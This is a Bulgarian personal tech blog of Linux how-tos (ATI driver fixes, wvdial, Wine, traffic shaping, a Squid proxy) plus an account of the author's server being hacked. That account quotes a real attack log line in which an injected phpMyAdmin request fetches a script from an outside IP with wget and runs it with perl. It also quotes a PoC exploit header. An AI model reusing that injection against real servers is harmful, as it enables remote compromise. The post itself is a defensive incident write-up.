Lucifer's sandbox

geek time

Kernel 2.6.32.x и ATI Catalyst (GeekTime)

by Lucifer on Jan.11, 2010, under HowTo, geek time

Нали ме знаете, че съм си гаден geek, та винаги гледам да съм с последните версии на каквото е излязло … дори с последни версии на ядрото на Slackware-а с който работя в къщи.

Kernel-а който излезе на 9-ти беше 2.6.32.3 и разбира се първата ми работа беше да го инсталирам, да го прекомплирам за да открива и 4-те GB RAM и да си направя initrd.gz за да мога да си пускам машината (аз съм гаден параноик и съм я криптирал)  …

Всичко мина добре. Влязох като root и махнах стария fglrx.9.12 компилиран за 2.6.29.6.

Стартирах инсталатора … и каква беше изненадата ми, когато вместо “Instalation complete”, получих съобщението “There were errors compiling driver. Please refer to fglrx-install.log”

WTF??? Какви грешки бе!

nano /usr/share/ati/fglrx-install.log

[Message] Kernel Module : Trying to install a precompiled kernel module.
[Message] Kernel Module : Precompiled kernel module version mismatched.
[Message] Kernel Module : Found kernel module build environment, generating kernel module now.
AMD kernel module generator version 2.1
doing Makefile based build for kernel 2.6.x and higher
rm -rf *.c *.h *.o *.ko *.GCC* .??* *.symvers
make -C /lib/modules/2.6.32.3-smp/build SUBDIRS=/lib/modules/fglrx/build_mod/2.6.x modules
make[1]: Entering directory `/usr/src/linux-2.6.32.3'
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/firegl_public.o
In file included from /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:443:
/lib/modules/fglrx/build_mod/2.6.x/drm_proc.h: In function ‘FGLDRM__vma_info’:
/lib/modules/fglrx/build_mod/2.6.x/drm_proc.h:497: warning: format ‘%08lx’ expects type ‘long unsigned int’, but argument 5 has type ‘phys_addr_t’
/lib/modules/fglrx/build_mod/2.6.x/firegl_public.c: In function ‘KCL_MapPageToPfn’:
/lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:1586: warning: unused variable ‘bus_addr’
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_acpi.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_agp.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_debug.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_ioctl.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_io.o
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c: In function ‘KCL_IO_FASYNC_Terminate’:
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: ‘SIGIO’ undeclared (first use in this function)
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: (Each undeclared identifier is reported only once
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: for each function it appears in.)
make[2]: *** [/lib/modules/fglrx/build_mod/2.6.x/kcl_io.o] Error 1
make[1]: *** [_module_/lib/modules/fglrx/build_mod/2.6.x] Error 2
make[1]: Leaving directory `/usr/src/linux-2.6.32.3'
make: *** [kmod_build] Error 2
build failed with return value 2
[Error] Kernel Module : Failed to compile kernel module - please consult readme.

Какво по …

И отново старото ровене в чичо google … 2 дни без хубаво видео … няма да ви описвам мъките си … докато на някакъв забит пост в някакъв забит форум не намерих как да го оправя … а то се оказа и много просто – явно в новата ядро са отделили част от нещата в нов header file …

Ето и решението step-by-step:

01. Сваляте си драйверите от сайта на ATI.
02. Стартирате run-а с опция –extract
03. Отваряте fglrx-install.nqkakuv_string/common/lib/modules/fglrx/build_mod/kcl_io.c където добавяте:

#include <linux/signal.h>

04. В fglrx-install.nqkakuv-string стартирате sh ./ati-installer.sh 8.5912 –install
05. reboot … and that is all …

Лесно нали? Някъде из нет-а се мотат готови .patch, но нямах време и желание да търся … за това използвах nano … и го направих на ръка … лесно и бързо … веднъж като знаеш какво ти трябва …

Надвявам, се да помогна на някого.


Ваш,

Lucifer

GD Star Rating
loading...


1 Comment :, , , , , , , , , , more...

Vivacom … малко забава …

by Lucifer on Dec.26, 2009, under fun, geek time, misk

Седя си аз и си обмислям поредния проект, много важна част от който е изпращането на e-mail към SMS и който ще публикувам като го завърша … та решавам аз да видя дали Жижакомци (как звучи обаче) поддържат mail2sms …


Звъня аз на оператор …

Операторката: Виваком. Говорите с …

АЗ(след 5 минути on hold): Добър вечер. Имам глупав въпрос. Случайно да поддържате e-mail към SMS услигата?

Девойката: Аааа. … не знам … изчакайте за момент на линия да попитам.

(пратен съм пак on hold)

Девойката: Не господине, не предлагаме тази услуга.

АЗ: Добре, а има ли някакъв начин да пращам SMS от интернет?

Девойката: Да, господине … от сайта на Виваком.

АЗ: А има ли някакво API или нещо което да автоматизира процеса?

Девойката: Моля? Не ви разбрах?

(Свикнал съм да не ме разбират)

АЗ: Добре. Няма значение, благодаря ви.

***

Тази ситуация, както се досещате никак не ми харесва … ама никак! Та решавам въпреки това да пробвам.

Преравям интернета и виждам как са дефинирани адресите на другите 2 Български мобилни оператора …

Логвам се в мейл-а си.

359878хххххх[at]sms.vivacom.bg

Пращам …

Звънн на GSM-а -> ИМАТЕ SMS от …

DEAMN YOU!!!

Звъня пак на оператор …

***

Девойката: Свързахте се с Виваком. Говорите с …

АЗ: Добър вечер. Я да ви питам – заплащам ли SMS-ите, които получавам от mail2sms gatway-а ви?

Девойката: А? Не ви разбрах?

АЗ: Заплащам ли SMS-ите които получавам от електронната си поща?

Девойката: Имате предвид новата ни услуга Nokia Messeging ли?

АЗ: Не. Нямам предвид push mail услугата ви… Имам предвид mail2sms gateway-a … Няма значение … Бихте ли ми казали дали заплащам SMS-те пристигащи от номер …

Девойката: Сега ще проверя, господине …

(On hold за 20 минути)

Девойката: Съжалявам за забавянето, но …

АЗ: … ви хвърлих в Jazz-a?

Девойката: Да. До колкото разбрах не предлагаме такава услуга …

АЗ: От мене да знаете, че предлагате … Въпроса е дали си плащам.

Девойката: Не знам, господине …

АЗ: Добре … имате достъп до таксуванията на номера ми, нали?

Девойката: Да?

АЗ: Отворете ги.

Девойката: Дайте си номера …

АЗ: 0878хххххх

Девойката: Но те се опресняват на 3 часа, господине … Последното ви е от 11:10 … ползване на интернет.

АЗ: Добре … показва ли се кога съм говорил с оператор?

Девойката: Да, господине. Провели сте разговор в 19:35 …

АЗ: След това не съм таксуван, нали?

Девойката: Не, господине.

АЗ: Добре, значи системата ви се е опреснила … щом е отчела обаждането на оператор и след него не съм таксуван, следователно не ме таксувате за тези SMS-и …

Девойката: Логиката ви е безупречна господине … но отново ви казвам, че не предлагаме такава услуга …

АЗ: А от мен  да знаете … че всъщност предлагате … Благодаря ви и лека вечер!

***

Много се забавлявам понякога в Вивакомци … Много са ми забавни … Поддръжката им явно има някакъв минимален запас от познания и им е трудно да импровизират върху тях …


Ваш,

Lucifer

GD Star Rating
loading...


4 Comments :, , , , , , , , more...

Hacked …

by Lucifer on Dec.03, 2009, under blog, geek time, misk

Искам да се оплача … от собствената си глупост … и то много да се оплача …

То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко – сървъра ми беше хакнат! Дап, моето мило Анаваро!

Беше заразен с IRC бот вирус. Нямаше много “мрежеви” поражения … защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше – няма мрежа, няма нищо, а аз знаете съм на 500 км.

След няколко рестарт-а и любимите ми “tail -f” и “htop” успях да засека следния малък проблем:

ID    USER    NI  CPU%  MEM%   VIRT    SHR   S  TIME+     Command
3813  apache  0   65.0    0.1       1776   432    R   1:42.64   ./std 89.137.139.225 0

А … ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) …

Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца … където открих следния “смахнат” ред:

88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181

Изненадкааа …Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the ‘/config/’ directory
# within the ‘/phpMyAdmin/’ directory. this is because this directory is
# where ‘/scripts/setup.php’ tries to create ‘config.inc.php’ which is where
# our evil PHP code is injected 8)

Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии – то не бяха преинсталации на apache, промени на пътеки …

Отново и отново ./std $IP $PORT процеса ме убиваше …

Питайки чичко Гугъл … случайно стигнах до един сайт в който някой се оплакваше от моя проблем.

ps aux | grep apache

ми даде виновника – индианеца се беше троянизирал … изпълняваше процеси (добре че е deamon) …

crontab -u apache -e

ми даде и проблема – някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо … на бързо му бих “rm -r”, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) …

Знам, че съм пълен идиот … ама аз съм си такъв …

Ваш,

Lucifer

GD Star Rating
loading...


Leave a Comment :, , , , , , , , , , , , more...

Малко хитрости за работа … или ffmpeg, WordPress и Viper’s Videotags

by Lucifer on Nov.26, 2009, under HowTo, PC, geek time

Ето че пак е време за поредното HowTo в рубриката ми Geek Time.

Как се стигна до тук? Както винаги – от скука и то на работа. Тогава ми хрумна много луда идея – on-line филми. Имам си сървър, зад който стоят почти 500 GB филми (и порно разбира се, но това е друг въпрос).

Необходими средства:

Slackware Current с инсталиран X.

slapt-get (за по-лесно) с repositpry от slacky.eu

WordPress (пак за по-лесно) с Viper’s Quick Videotags plug-in (за съвсем лесно).

Материал (филм, сериал или каквото там ви се гледа (не препоръчвам порно за работа))

Изпълнение:

1. През slapt-get инсталирате ffmpeg с всички пакети които иска (задължително проверете за наличие на x246)

2. осигурявате си достъп до суровия материал.

ffmpeg -i faila_koito_shte_prevrushtate.avi -s (width)x(height) -f flv -acodec libmp3lame -ab 128000 -ar 44100 -ac 2 -vcodec flv ime_na_gotovot.flv

А сега да обясня опциите (трябваха ми 4 часа докато ги схвана)

-s – разделителна способност на изхода (за предпочитане да са като на оригиналния фаил)

-f – force format (изходящия фаил задължително да е в този формат)

-acodec – аудиокодек на изходящия файл

-ab – задава bitrate на аудиото

-ar – задава чесотата (sample frequency)

-ac – задава броя канали (2 = стерео)

-vcodec – кодека използван за видеото

Изчаквате си конверитрането на суровия материал. Копирате си готовото .flv някъде където може да ви го чете apache и използвайки любимия си метод го поствате в WordPress блога си.

А сега се насладете на първите 500 кадъра от Gamer.BRRip.XviD.AC3-TBc:

http://www.anavaro.com/media/test.flv

Приятно прекарване и не забравяйте, че това е времеемко занимание. Надявам се да съм ви помогнал и днес!

Ваш,

Lucifer


P.S.: Явно се оказва, че има много по хубав начин да се постигнат нещата … Както ще прочетете в коментарите. Направих няколко теста и за сметка по-голямото време за енкодване, можете да получите невероятни резултати с h264. Ето тук има ръководство: цък. Искам най-искрено да благодаря на drJeckyll за коментара и помощта …

GD Star Rating
loading...


6 Comments :, , , , more...

Nokia 6120 classic като Linux modem!(Geek Time)

by Lucifer on Aug.29, 2009, under HowTo, PC, geek time

И така, явно се е видяло че ще отварям Geek Time рубрика в този блог, та ето ви още един пост нея:

Как да подкараме Nokia 6120 classic като USB GPRS/EDGE модем под Linux (в моя случай Slackware 13, но ръководството е достатъчно широко) и VivaTel (независимо дали пакет данни или нещо друго).

Необходим hardware:

Компютър (няма смисъл иначе, нали)

GSM Nokia 6120 classic (предполагам, че и всеки друг Symbian базиран телефон би ви свършил работа)

USB кабел за телефона

Необходим software:

Linux (в моя случай, както казах, Slackware 13, но предполагам, че и другите ще станат)

wvdial – трябва да го има в репото на дистрибуцията ви (за Slackware го има в Slacky.eu, като готов пакет)

wvdialerstrams – библиотека използвана от wvdial

qtwvdialer – QT GUI за wvdial

Методология:

Инсталирате пакетите описани по горе, свързвате телефона с кабела към машината и му задавате PCSuit (не data transfer или media player).

Пускате си една конзола и su – твате (трябва да сте root).

$wvdialconf

Програмката културно си засича телефона и най-добрата скорост с която да го използвате и ви предлага Init1 и Init2 редове.

$nano /etc/wvdial.conf

Ще забележите, че някои редове са откоментирани с #. Това са нещата които конфигурацията не е успяла да налучка.

Ето ви копие на моя wvdial.conf, това което трябва да добавите за да работите с VivaTel са редовете Init3, Phone, Username и Password

[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Init3 = AT+CGDCONT=1,"IP","internet.vivatel.bg"
Modem Type = USB Modem
Phone = *99#
ISDN = 0
Username = vivatel
Password = vivatel
Modem = /dev/ttyACM0
Baud = 460800

Остана само да въведете DNS-те на доставчика. Ако сте на VivaTel в /etc/resolv.conf добавете редовете:

nameserver 212.39.90.42
nameserver 212.39.90.43

Ако не сте, стартирайте $wvdial (прекратява се с Ctrl+C) и ще видите редовете First Domain Name Server $ADRESS1 и Second Domain Name Server $ADRESS2. Това са адресите за /etc/resolv.conf

Това е от мен. Аз така успях да го подкарам. Надявам се да ви помогне!

Ваш,

Lucifer

GD Star Rating
loading...


Leave a Comment :, , , , , , more...

Lineage 2 GRACIA Final под Linux (Geek Time)

by Lucifer on Aug.05, 2009, under HowTo, PC, geek time

И така от липса на друга работа, реших да се хвана да се заиграя отново на Lineage 2 и попаднах на Gracia Final Server (Marines сървъра на spectrumNet). Само дето скоро съвсем ще остана без достъп до работещ Winbows, а няма да се върна заради една игра на него и за това седнах да ровя как да го Wine-зирам и се оказа, че то не е толкова трудно!

I. Подготовка:

1. Драйвери – слагате си драйверите на видео картата!

2. Wine

2.1 сваляте си Wine

2.2 компилирате и инсталирате Wine (има си много читав скрипт, който ви върши цялата работа)

3. Winetricks – разравяте се из google и си намирате скриптчето наречено wintericks

3.1 Инсталация на DirectX 9 – от winetricks става супер лесно

3.2 Инсталация на GECKO – пак от wintericks. Това е важно, само ако ще ползвате update през LineageII.exe

II. Сваляне:

1. Намирате си играта и си я сваляте L2. Тази стъпка трябва да ви е ясна! Забивате я някъде и готово!

(до колкото схващам от цялата философия може и да не ви се наложи да минете през другите стъпки, но това си зависи от вашата система. Аз все пак ще си ви ги напиша.)

III. Настройки – пипкавата работа:

1. /etc/hosts – тези от вас които са играли пиратски сървъри на Lineage 2 под добрата стара боза знаят как се правеха промените в %windows%/system32/driver/etc/hosts файл-а. Е тука ви трябва само в /etc/hosts да добавите:

xx.xx.xx.xx L2authd.lineage2.com

ако разбира се сървъра ви го иска!

(тук е момента да пробвате да влезете в папка system на играта и да напишете wine l2.exe – шанса е 50/50 да тръгне от воле. Не се притеснявайте от онова за AGP inconsistancy)

2. Шрифотве – и така влизате в прозореца на играта … и о чудо – всички бутончета са празни, вие не виждате какво пишете … проблем! Решението е просто: Намерете си tahoma.ttf (копирайте го от font дирецторията на който и да е winbows) и го сложете в ~/.wine/drive_c/windows/fonts

3. Ако точка 1 не успее – опитали сте по т.1 и сте ме наругали защото не е тръгнало. Не се предавайте – решението е просто – отивате в папка system на играта и отваряте l2.ini …

Вариант 1: l2.ini е текстов. Супер! Намерете редовете:

UseHardwareTL=True
UseHardwareVS=True

и ги заменете на

UseHardwareTL=Flase
UseHardwareVS=False

… и това е!

wine l2.exe … и готово.

Вариант 2: l2.ini е бинарен. Мааалка спънка! Но не за дълго:

- немрете си l2encdec от тук

- декриптирайте l2.ini (има си readme)

- когато l2.ini стане текстов … се върни на Вариант 1!

Ето ви го решението. Аз за сега не намирам проблем, а отняколко часа играя …

Ако имате проблеми – казвайте да ги мисля.

Ваш,

Lucifer

GD Star Rating
loading...


2 Comments :, , , , , more...

Една отдавна бавена стъпка … 2

by Lucifer on May.27, 2009, under HowTo, PC, geek time, misk

Проблем 6:

Как подяволите да си подкарам външните VGA/HDMI?

Решение:

Ми всъщност много много просто – в /etc/X11/xorg.conf в секция Screen, суб секция Display, добавяте:

Virtual 2048 2048

това максималната ви допустима разделителна способност толкова. Иначе xrandr взима максималната на 1 от мониторите. После си свалете arandr приложението (най-добре от svn)

svn co http://svn.amsuess.com/svn/tools/arandr/trunk/ arand

старитрате arandr … и готово! Можете като мен да го копирате в /usr/share и да направите sym link към /usr/bin само на изпълнимия arandr.

Проблем 7:

Опции за fglrx драйверите.

Решение:

за по лесно ви паствам целия си xorg.conf – при мен, на моята машна със горе изброените стъпки работи на max!

Section “ServerLayout”
Identifier     “Simple Layout”
Screen      0  “aticonfig-Screen[0]-0″ 0 0
InputDevice    “Mouse1″ “CorePointer”
InputDevice    “Keyboard1″ “CoreKeyboard”
EndSection

Section “Files”
RgbPath      “/usr/share/X11/rgb”
FontPath     “/usr/share/fonts/local/”
FontPath     “/usr/share/fonts/misc/”
FontPath     “/usr/share/fonts/OTF/”
FontPath     “/usr/share/fonts/TTF/”
FontPath     “/usr/share/fonts/Type1/”
FontPath     “/usr/share/fonts/CID/”
FontPath     “/usr/share/fonts/Speedo/”
FontPath     “/usr/share/fonts/75dpi/:unscaled”
FontPath     “/usr/share/fonts/100dpi/:unscaled”
FontPath     “/usr/share/fonts/75dpi/”
FontPath     “/usr/share/fonts/100dpi/”
FontPath     “/usr/share/fonts/cyrillic/”
EndSection

Section “Module”

Load  “dbe”     # Double buffer extension
SubSection “extmod”
Option       “omit xfree86-dga”   # don’t initialise the DGA extension
EndSubSection
Load  “type1″
Load  “freetype”
#Load        “speedo”
Load “GLcore”
Load  “glx”
Load “dri”
EndSection

Section “InputDevice”
Identifier  “Keyboard1″
Driver      “kbd”
EndSection

Section “InputDevice”
Identifier  “Mouse1″
Driver      “mouse”
Option       “Protocol” “Auto”
Option       “ZAxisMapping” “4 5″
# The mouse device.  The device is normally set to /dev/mouse,
Option       “Device” “/dev/mouse”
#   Option “Device”      “/dev/psaux”
EndSection

Section “Monitor”
Identifier   “aticonfig-Monitor[0]-0″
Option       “VendorName” “ATI Proprietary Driver”
Option       “ModelName” “Generic Autodetecting Monitor”
Option       “DPMS” “true”
EndSection

Section “Device”
Identifier  “aticonfig-Device[0]-0″
Driver      “fglrx”
BusID       “PCI:1:0:0″
Option “UseFastTLS” “1″
EndSection

Section “Screen”
Identifier “aticonfig-Screen[0]-0″
Device     “aticonfig-Device[0]-0″
Monitor    “aticonfig-Monitor[0]-0″
DefaultDepth     24
SubSection “Display”
Virtual    2048 2048
Viewport   0 0
Depth     24
EndSubSection
EndSection

Section “DRI”
Mode 0666
EndSection

Проблем 8:

VirtualBox. Нямам USB и нямам USB!

Решенение:

Добавяте потребителя с, който искате да ползвате VirtualBox в vboxusers групата.

Добавяте и в /etc/fstab:

usbfs /proc/bus/usb usbfs devmode=666 0 0

и USB-то … чудотворно се оправя!

Това е от мен, поне за сега!

Ваш,

Lucifer

GD Star Rating
loading...


Leave a Comment more...

Една отдавна бавена стъпка …

by Lucifer on May.25, 2009, under HowTo, PC, geek time, misk

Предния път набързо само написах, че най-накрая минах на Линукс и по-специално на Slackware current. Винаги съм обичал да съм на ръба на технологиите. А и Slackware-а винаги ми е бил любимата ОС. Много по-лесно сигурно щеше да ми е да мина на нещо по-просто (HellMaster винаги е предлагал Fedora), но честно казано тогава нямаше да ми е интерестно. Предпочитам си Slack-чето. Успях да се сборя с драйверите, сбих се с мрежата, преборих се с ядрото и какво ли още не! За тези 2 седмици научих много. Сега искам да споделя със вас какво и как направих:

Железарии:

ASUS M51V-AP129

CPU: Intel Pentium Dual Core Processor T3200

RAM: 4GB

VC: Radeon HD 3470

Проблем 1:

Kernel-a, който върви със Slack-а не вижда 4-те гиги рам

Решение:

cd /usr/src/linux-2.6.29.2

rm .configure

cp /boot/configure-huge-smp-2.6.29.2-smp .configure

make menuconfig

Отбелязваме отметката за поддръжка до 64 GB RAM

exit

make bzImage

make modules

make modules_install

cp arch/x86/boot/bzImage /boot/vmlinuz-4g

cp System.map /boot/System.map-4g

Коригираме си любимия boot loader … и проблема е решен – ядрото вижда сичките 4 гиги

Проблем 2:

Поддръжка на 3d.

Решение:

Тука идва голямото четене мили деца, защото fglrx драйверите на ati са несъвместими с ядрото … освен, не се пачнат. Та сваляте си пача който е за версия 9.1 (споко работи си) и си пачвате версия 9.5 (тази която е сега), после си я инсталирате и готово! Имате 3D и compositing.

Проблем 3:

Скролера на мишката.

Решение: в /etc/X11/xorg.conf има ред в секцията за Device “mouse”

Protocol “imps/2″

сменяте го на auto и готово.

Проблем 4:

Поддръжка на кирлица в файловата система и KDE

Решение:

/etc/rc.d/rc.font:

#!/bin/sh
#
# Този скрипт зарежда шрифт за виртуален терминал (текстова конзола).
# Достъпните шрифтове се намират в директорията
# /usr/share/kbd/consolefonts.
#

echo -n -e '\033%@' # кодиране UTF-8
setfont Cyr_a8x16

/etc/profile.d/lang.sh:

#!/bin/sh

export LANG="bg_BG.UTF-8"
......
......
# Променливата LC_MESSAGES указва какъв да бъде езика на интерфейса на програмите.
# Ако желаете интерфейса на програмите да бъде
# на английски вместо на български, махнете # в началото на следващия ред
#export LC_MESSAGES=en

# тази команда решава някои проблеми свързани с man
export LESSCHARSET=utf-8

case `tty` in
/dev/console|/dev/tty[0-9]|/dev/vc/[0-9]*)

# повторно зареждане на шрифт и клавиатурна подредба (за всеки случай)
. /etc/rc.d/rc.keymap 2>/dev/null
. /etc/rc.d/rc.font

esac

/etc/rc.d/rc.local:

#!/bin/sh
#
# /etc/rc.d/rc.local:  Local system initialization script.
#
# Put any local setup commands in here:

# настройки за виртуален терминал от 1 до 6:
for i in 1 2 3 4 5 6
do
    echo -n -e '\033%@' > /dev/tty$i
done

Искам да благодаря на момчетата от форума на linux-bg.org за помоща, както и на Валентин Стойков, от чиято статия са извадките по-горе. О и да напомня, че това е за поддръжка на utf-8.

Проблем 5:

След инсталиране на драйврите, имам 3d поддръжка, само ако не ползвам kdm.

Решение:

rm -R /usr/share/config/kdm/*
genkdmconf

Та това е мили деца, от към проблеми с преминаването към linux. Поне при мен. Еми … да ми е честито!

Ваш,

Lucifer


GD Star Rating
loading...


Leave a Comment more...

qdisc htb … или лесен за правене shaper

by Lucifer on May.12, 2009, under HowTo, PC, geek time

И така … седя си аз на работа и се чудя как да се боря с големите лоши потребители, които ми заемата канала и не мога да си играя играта и да си точна порното. Ядосвам се! Писна ми да ги забранявам IP по IP. Зачетах се из интернет … добрия стар чичо Google ме препрати към lartc.org . Изтеглих си аз ръководството от там (препоръчвам го н а всички) и се хванах да го прочета. О очудване! То Правенето на shaper не било сложно!

Този shaper работи в моята мрежа. Не твърдя да е сложен, защото нямам нужда да се боря с хакери (потребителите ми са “многознайковци” (вие представяте ли си идота който ми се развика защо нямал нет, като се оказа, че сам си е преинсталирал Windows-a  и не е сложил драйвери за дъно и LAN)).

Така, сега по същество:

Конструкция:

Имам 3 LAN мрежи:

192.168.0.0/24 – локална мрежа за администрацията, най-често използвана за служебни задължения, с изключение на 1 поттребител.

192.168.10.0/24 – локална мрежа за залата за обучение, която и трябва web, с изключение на 2-те машини зад които седя.

192.168.3.0/24 – Wi-Fi мрежа за гостите на хотела, която е отворена и безотчетна

Имам 12 Mbit/s biz download на 2Mbit/s upload от приятелите от БТК.

Slackware 12 машинка с 2 LAN карти (WAN и LAN)

Защо HTB?

HTB, ли? Ми защото се пише по-лесно от CBQ, а и в кернела-а на моя комп го има. Няма да ви лъжа, че е по-стабилен или по-напреднал. Аз съм си мързелив. Просто ми е най-лесен.

Лимитации.

За съжаление qdisc не се справя много добре с shape на igress трафик, за това се възползва от опцията на мрежовите протоколи да пращат само колкото бързо можеш да получиш. За това ще работим с egress трафика (изходящия).

Началото.

#/bin/sh
WAN=eth1
LAN=eth2

Дефинираме bash скрипта и дефинираме LAN картите. Тук е мястото тези от вас които си вдигат лан картите или правят специфични настройки като “ip a a” да ги направят:

ifconfig $LAN 192.168.0.1 netmask 255.255.255.0
ifconfig $LAN:1 192.168.10.1 netmask 255.255.255.0
ifconfig $LAN:2 192.168.3.1 netmask 255.255.255.0
ip a a dev $WAN xx.xx.xx.xx

Препръчвам да правите всички мрежови настройки преди да започнете да правите shape-а. Започваме с орязване на входящия тряфик. Както казахме, всъщност не можем да го орежем, но можем да ограничим и контролираме изхода от картата към вътрешните мрежи (в случая $LAN).

tc qdisc del dev $LAN root
tc qdisc add dev $LAN root handle 1: htb default 30

Или преведено на човешки – изтрий всички устройства коит “висят” на интерфейс $LAN и добави root “устройство” закачено на $LAN с идентификатор 1: и използващо htb (честно казано не знам какво прави default и 30, но си ги търси). Следващата стъпка е да създадем “правила” за устрйството.

tc class add dev $LAN parent 1: classid 1:1 htb rate 12000kbit ceil 12000kbit burst 15k
tc class add dev $LAN parent 1:1 classid 1:10 htb rate 5000kbit ceil 12000kbit burst 15k prio 1
tc class add dev $LAN parent 1:1 classid 1:20 htb rate 1000kbit ceil 2000kbit burst 15k prio 2

Обяснявам и тук – добавяме клас 1:1 с “родител” 1: използвайки htb за контрол с минимална скорост 12000 kbit/s (винаги давайте по малки скорости от реалните) и максималан същата. Създаваме 2 “деца” на този клас 1:10 и 1:20. Като 1:10 има запазени 5000 kbit/s и максимум от 12000 kbit/s (когато има други клиенти има гарантирани 5000, но когато останалия канал е свободен, може да го ползва целия), 1:20 е с осигурен 1000 kbit/s и максимум от 2000 kbit/s. Сега, нека пратим трафика по класовете – това става с tc filter.

tc filter add dev $LAN protocol ip parent 1: prio 1 u32 match ip dst 192.168.10.0/24 flowid 1:10
tc filter add dev $LAN protocol ip parent 1: prio 1 u32 match ip dst 192.168.0.0/24 flowid 1:10
tc filter add dev $LAN protocol ip parent 1: prio 2 u32 match ip dst 192.168.3.0/24 flowid 1:20

Използваме така наречените u32 match-ове. В случая изпозлваме ip dst или destination ip. u32 позволява да се фитрира по много показатели:

  • dst
  • src
  • dport
  • sport
  • tos
  • protcol*

*protocol филтъра взима променливите си от /etc/protcols, например ако icmp е 1, то match ip protocol 1 0xff

като могат да се правят n на брой комбинации.

И така какво имам до тук? Имаме едно “дърво”:

  1:
   |
  1:1
   /\
  /  \
 |    |
1:10 1:20

И филтри които да пращат към “клоните”. Това е за входящия трафик. Сега да направим същото за изходящия (извинете но тук няма да обяснявам, защото до сега го обясних достатъчно подробно). Та за $WAN интерфейса:

tc qdisc del dev $WAN root
tc qdisc add dev $WAN root handle 1: htb default 30
tc class add dev $WAN parent 1: classid 1:1 htb rate 2000kbit ceil 2000kbit burst 15k
tc class add dev $WAN parent 1:1 classid 1:10 htb rate 1000kbit ceil 2000kbit burst 15k prio 1
tc class add dev $WAN parent 1:1 classid 1:20 htb rate 512kbit ceil 1000kbit burst 15k prio 2
tc filter add dev $WAN protocol ip parent 1: prio 1 u32 match ip src 192.168.10.0/24 flowid 1:10
tc filter add dev $WAN protocol ip parent 1: prio 1 u32 match ip src 192.168.0.0/24 flowid 1:10
tc filter add dev $WAN protocol ip parent 1: prio 2 u32 match ip src 192.168.3.0/24 flowid 1:20

След този момент вече сте свободни да работите с iptables и да си направите колкото си искате правила за портове и настройки.

Отново подчертавам, че това е една малка и проста конструкция предиведна за SOHO мрежа. Както виждате има и слабо място, но смятам и това да изчистя. Когато го направя ще пиша още.

Ваш,

Lucifer


GD Star Rating
loading...


4 Comments :, , more...

Squid 3 + IPTABALES … или transparent proxy за секунди!

by Lucifer on Apr.15, 2009, under HowTo, PC, fun, geek time

Тъй като съм алчно и гладно за трафик копеле, реших, че на потребителите не им трябва чак толкова web трафик и реших да им шибна едно прозрачно proxy. Пък и без това искам да знам кой къде ходи.

Та … как става номера:

1. Взимате един Slackware (дори не знам коя версия)

2. Сваляте си последния SQUID 3 (в моя случай squid-3.0.STABLE13)

3. tar -xvf squid-3.0.STABLEx

4. cd squid-3.0.STABLEx

5. ./configure –enable-ssl –enable-linux-netfilter

6. make all

6.1 (ако не сте като root) su

7. make install

8. mv /usr/local/squid/etc/squid.conf /usr/local/squid/etc/squid.conf.orig

ЧЕСТИТО! Ако всичко е минало правилно имате инсталиран squid без конфигурационен файл.

9. nano /usr/local/squid/etc/squid.conf

http_port 3128 transparent
cache_dir ufs /usr/local/squid/var/cache/ 1000 32 512
access_log /var/log/squid/access.log
acl localnet0 src 192.168.0.0/255.255.255.0
acl localnet10 src 192.168.10.0/255.255.255.0
acl localnet3 src 192.168.3.0/255.255.255.0
http_access allow  localnet0
icp_access  allow  localnet0
http_access allow  localnet10
icp_access  allow  localnet10
http_access allow  localnet3
icp_access  allow  localnet3

Сега да обясня!

http_port – оказва порта на който ще слухти октоподчето (3128 – по подразбиране). Опцията “transperant” оказва на октоподчо да си работи невидимо.

cache_dir – оказва каде да е директорията където да се пазят нещата от сесиите. “usf” e файловата система кяото ползвате. След това пътеката където се помещава (squid трябва да има +rw). Следва големината на заделеното място за cache в MB. Другите 2 параметъра са за папки и подпапки за структуриране на информацията.

access_log – указва пътя на log файла (пак +rw)

acl – Access control layer – основния метод за настройка на сигурност. Какво имам аз? Първия параметър след acl е стринг за наименование на контролера, в този случай localnet0. “src” е вида контрол който ще указваме, в случая входящите заявки от 192.168.0.0/24. За съжаление трябва да окажете пълната netmask, “/24″ не върши работа! При мене имам 3 мрежи и ги дефинирам и трите!

http_access – разреши http достъпа за дадения acl.

icp_access – разреши icp достъпа за дадения acl.

Ето ви го конф-а за да работи леко и без проблемно … има още тоолкова опции и възможности, че няма на къде, но за едно бързо и малко web proxy не ви трябва много! Та … записвате конф-а и излизате от редактора!

